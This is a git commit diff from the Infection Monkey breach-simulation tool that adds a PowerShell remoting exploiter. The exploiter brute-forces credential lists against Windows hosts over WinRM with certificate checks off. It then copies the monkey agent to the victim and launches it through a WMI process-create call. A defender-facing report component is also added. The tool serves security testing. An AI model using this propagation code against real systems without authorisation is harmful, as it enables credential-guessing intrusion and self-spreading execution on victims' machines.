forked from p34709852/monkey
Added powershell remoting exploiter.
This commit is contained in:
parent
55a817931d
commit
9966c54fe2
|
@ -6,7 +6,11 @@ class FailedExploitationError(Exception):
|
||||||
""" Raise when exploiter fails instead of returning False """
|
""" Raise when exploiter fails instead of returning False """
|
||||||
|
|
||||||
|
|
||||||
class InvalidRegistrationCredentialsError(Exception):
|
class CredentialsError(Exception):
|
||||||
|
""" Raise when credentials are wrong"""
|
||||||
|
|
||||||
|
|
||||||
|
class InvalidRegistrationCredentialsError(CredentialsError):
|
||||||
""" Raise when server config file changed and island needs to restart """
|
""" Raise when server config file changed and island needs to restart """
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,152 @@
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import typing
|
||||||
|
|
||||||
|
import spnego
|
||||||
|
from pypsrp.client import Client
|
||||||
|
from pypsrp.powershell import PowerShell, RunspacePool
|
||||||
|
from urllib3 import connectionpool
|
||||||
|
|
||||||
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
|
from common.utils.exceptions import FailedExploitationError
|
||||||
|
from common.utils.exploit_enum import ExploitType
|
||||||
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
|
from infection_monkey.exploit.tools.helpers import (
|
||||||
|
build_monkey_commandline,
|
||||||
|
get_monkey_depth,
|
||||||
|
get_target_monkey_by_os,
|
||||||
|
)
|
||||||
|
from infection_monkey.exploit.web_rce import WIN_ARCH_32, WIN_ARCH_64
|
||||||
|
from infection_monkey.model import DROPPER_ARG, GET_ARCH_WINDOWS, RUN_MONKEY, VictimHost
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
|
||||||
|
|
||||||
|
|
||||||
|
class PowershellExploiter(HostExploiter):
|
||||||
|
# attack URLs
|
||||||
|
_TARGET_OS_TYPE = ["windows"]
|
||||||
|
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||||
|
_EXPLOITED_SERVICE = "Powershell remote"
|
||||||
|
|
||||||
|
def __init__(self, host: VictimHost):
|
||||||
|
# If pysrp will inherit root logger, it will log extensive and potentially sensitive info
|
||||||
|
logging.getLogger("pypsrp").setLevel(logging.ERROR)
|
||||||
|
logging.getLogger(spnego.__name__).setLevel(logging.ERROR)
|
||||||
|
logging.getLogger(connectionpool.__name__).setLevel(logging.ERROR)
|
||||||
|
|
||||||
|
super().__init__(host)
|
||||||
|
self.client = None
|
||||||
|
|
||||||
|
def _exploit_host(self):
|
||||||
|
try:
|
||||||
|
self.client = self.exploit_without_credentials()
|
||||||
|
except FailedExploitationError:
|
||||||
|
LOG.info("Failed exploitation without credentials.")
|
||||||
|
try:
|
||||||
|
self.client = self.exploit_with_usernames_only(
|
||||||
|
usernames=self._config.exploit_user_list
|
||||||
|
)
|
||||||
|
except FailedExploitationError:
|
||||||
|
LOG.info("Failed exploitation using username list.")
|
||||||
|
try:
|
||||||
|
self.client = self.exploit_with_credentials(
|
||||||
|
self._config.get_exploit_user_password_pairs()
|
||||||
|
)
|
||||||
|
except FailedExploitationError:
|
||||||
|
LOG.info("Failed exploitation using credentials from configuration. Quiting.")
|
||||||
|
return False
|
||||||
|
|
||||||
|
arch = self.get_host_arch()
|
||||||
|
|
||||||
|
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=(arch == WIN_ARCH_32))
|
||||||
|
|
||||||
|
# write virtual file to actual local file
|
||||||
|
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
|
||||||
|
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
|
||||||
|
monkey_local_file.write(monkey_virtual_file.read())
|
||||||
|
|
||||||
|
try:
|
||||||
|
if arch == WIN_ARCH_32:
|
||||||
|
monkey_path_on_victim = self._config.dropper_target_path_win_32
|
||||||
|
else:
|
||||||
|
monkey_path_on_victim = self._config.dropper_target_path_win_64
|
||||||
|
|
||||||
|
self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim)
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
finally:
|
||||||
|
os.remove(TEMP_MONKEY_BINARY_FILEPATH)
|
||||||
|
|
||||||
|
monkey_params = build_monkey_commandline(
|
||||||
|
target_host=self.host,
|
||||||
|
depth=get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=None,
|
||||||
|
location=monkey_path_on_victim,
|
||||||
|
)
|
||||||
|
|
||||||
|
monkey_execution_command = RUN_MONKEY % {
|
||||||
|
"monkey_path": monkey_path_on_victim,
|
||||||
|
"monkey_type": DROPPER_ARG,
|
||||||
|
"parameters": monkey_params,
|
||||||
|
}
|
||||||
|
|
||||||
|
with self.client.wsman, RunspacePool(self.client.wsman) as pool:
|
||||||
|
ps = PowerShell(pool)
|
||||||
|
ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
|
||||||
|
"name", "create"
|
||||||
|
).add_parameter("ArgumentList", monkey_execution_command)
|
||||||
|
ps.invoke()
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def exploit_without_credentials(self) -> Client:
|
||||||
|
return self.try_exploit()
|
||||||
|
|
||||||
|
def exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client:
|
||||||
|
for username in usernames:
|
||||||
|
try:
|
||||||
|
client = self.try_exploit(username)
|
||||||
|
return client
|
||||||
|
except FailedExploitationError:
|
||||||
|
pass
|
||||||
|
raise FailedExploitationError
|
||||||
|
|
||||||
|
def exploit_with_credentials(
|
||||||
|
self, credential_list: typing.List[typing.Tuple[str, str]]
|
||||||
|
) -> Client:
|
||||||
|
for username, password in credential_list:
|
||||||
|
try:
|
||||||
|
client = self.try_exploit(username, password)
|
||||||
|
return client
|
||||||
|
except FailedExploitationError:
|
||||||
|
pass
|
||||||
|
raise FailedExploitationError
|
||||||
|
|
||||||
|
def try_exploit(
|
||||||
|
self, username: typing.Optional[str] = None, password: typing.Optional[str] = None
|
||||||
|
) -> Client:
|
||||||
|
try:
|
||||||
|
with Client(
|
||||||
|
self.host.ip_addr,
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
cert_validation=False,
|
||||||
|
) as client:
|
||||||
|
# attempt to execute dir command to know if authentication was successful
|
||||||
|
client.execute_cmd("dir")
|
||||||
|
return client
|
||||||
|
except Exception:
|
||||||
|
raise FailedExploitationError
|
||||||
|
|
||||||
|
def get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]:
|
||||||
|
output = self.execute_cmd_on_host(GET_ARCH_WINDOWS)
|
||||||
|
if "64-bit" in output:
|
||||||
|
return WIN_ARCH_64
|
||||||
|
else:
|
||||||
|
return WIN_ARCH_32
|
||||||
|
|
||||||
|
def execute_cmd_on_host(self, cmd: str) -> str:
|
||||||
|
output, _, _ = self.client.execute_cmd(cmd)
|
||||||
|
return output
|
|
@ -26,6 +26,7 @@ BASIC = {
|
||||||
"VSFTPDExploiter",
|
"VSFTPDExploiter",
|
||||||
"MSSQLExploiter",
|
"MSSQLExploiter",
|
||||||
"DrupalExploiter",
|
"DrupalExploiter",
|
||||||
|
"PowershellExploiter",
|
||||||
],
|
],
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
|
@ -154,5 +154,11 @@ EXPLOITER_CLASSES = {
|
||||||
"link": "https://www.guardicore.com/infectionmonkey"
|
"link": "https://www.guardicore.com/infectionmonkey"
|
||||||
"/docs/reference/exploiters/zerologon/",
|
"/docs/reference/exploiters/zerologon/",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": ["PowershellExploiter"],
|
||||||
|
"title": "Powershell Exploiter",
|
||||||
|
"info": "Exploits powershell remote execution setups.",
|
||||||
|
},
|
||||||
],
|
],
|
||||||
}
|
}
|
||||||
|
|
|
@ -52,6 +52,7 @@ import {
|
||||||
zerologonIssueReport,
|
zerologonIssueReport,
|
||||||
zerologonOverviewWithFailedPassResetWarning
|
zerologonOverviewWithFailedPassResetWarning
|
||||||
} from './security/issues/ZerologonIssue';
|
} from './security/issues/ZerologonIssue';
|
||||||
|
import {powershellIssueOverview, powershellIssueReport} from './security/issues/PowershellIssue';
|
||||||
|
|
||||||
|
|
||||||
class ReportPageComponent extends AuthComponent {
|
class ReportPageComponent extends AuthComponent {
|
||||||
|
@ -142,6 +143,11 @@ class ReportPageComponent extends AuthComponent {
|
||||||
[this.issueContentTypes.REPORT]: shellShockIssueReport,
|
[this.issueContentTypes.REPORT]: shellShockIssueReport,
|
||||||
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||||
},
|
},
|
||||||
|
'PowershellExploiter': {
|
||||||
|
[this.issueContentTypes.OVERVIEW]: powershellIssueOverview,
|
||||||
|
[this.issueContentTypes.REPORT]: powershellIssueReport,
|
||||||
|
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
|
||||||
|
},
|
||||||
'Ms08_067_Exploiter': {
|
'Ms08_067_Exploiter': {
|
||||||
[this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview,
|
[this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview,
|
||||||
[this.issueContentTypes.REPORT]: ms08_067IssueReport,
|
[this.issueContentTypes.REPORT]: ms08_067IssueReport,
|
||||||
|
@ -297,8 +303,7 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<p className='alert alert-info'>
|
<p className='alert alert-info'>
|
||||||
<FontAwesomeIcon icon={faExclamationTriangle} style={{'marginRight': '5px'}}/>
|
<FontAwesomeIcon icon={faExclamationTriangle} style={{'marginRight': '5px'}}/>
|
||||||
To improve the monkey's detection rates, try adding users and passwords and enable the "Local
|
To improve the monkey's detection rates, try adding users and passwords and enable the "Local
|
||||||
network
|
network scan" config value under <b>Basic - Network</b>.
|
||||||
scan" config value under <b>Basic - Network</b>.
|
|
||||||
</p>
|
</p>
|
||||||
}
|
}
|
||||||
<p>
|
<p>
|
||||||
|
|
|
@ -0,0 +1,25 @@
|
||||||
|
import React from 'react';
|
||||||
|
import CollapsibleWellComponent from '../CollapsibleWell';
|
||||||
|
|
||||||
|
export function powershellIssueOverview() {
|
||||||
|
return (<li>Windows servers allow powershell remote command execution.</li>);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function powershellIssueReport(issue) {
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
Restrict powershell remote command execution and/or
|
||||||
|
harden the credentials of relevant users.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
The machine <span className="badge badge-primary">{issue.machine}</span> (<span
|
||||||
|
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) was
|
||||||
|
exploited via <span
|
||||||
|
className="badge badge-danger">Powershell remoting</span>.
|
||||||
|
<br/>
|
||||||
|
The attack was made possible because the target machine had
|
||||||
|
Powershell remoting enabled and Monkey
|
||||||
|
had access to correct credentials.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
}
|
|
@ -86,6 +86,7 @@ _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61)
|
||||||
_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38)
|
_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38)
|
||||||
_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34)
|
_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34)
|
||||||
_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237)
|
_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237)
|
||||||
|
PowershellExploiter # (monkey\infection_monkey\exploit\powershell.py:27)
|
||||||
ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18)
|
ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18)
|
||||||
HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9)
|
HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9)
|
||||||
MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13)
|
MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13)
|
||||||
|
|
Loading…
Reference in New Issue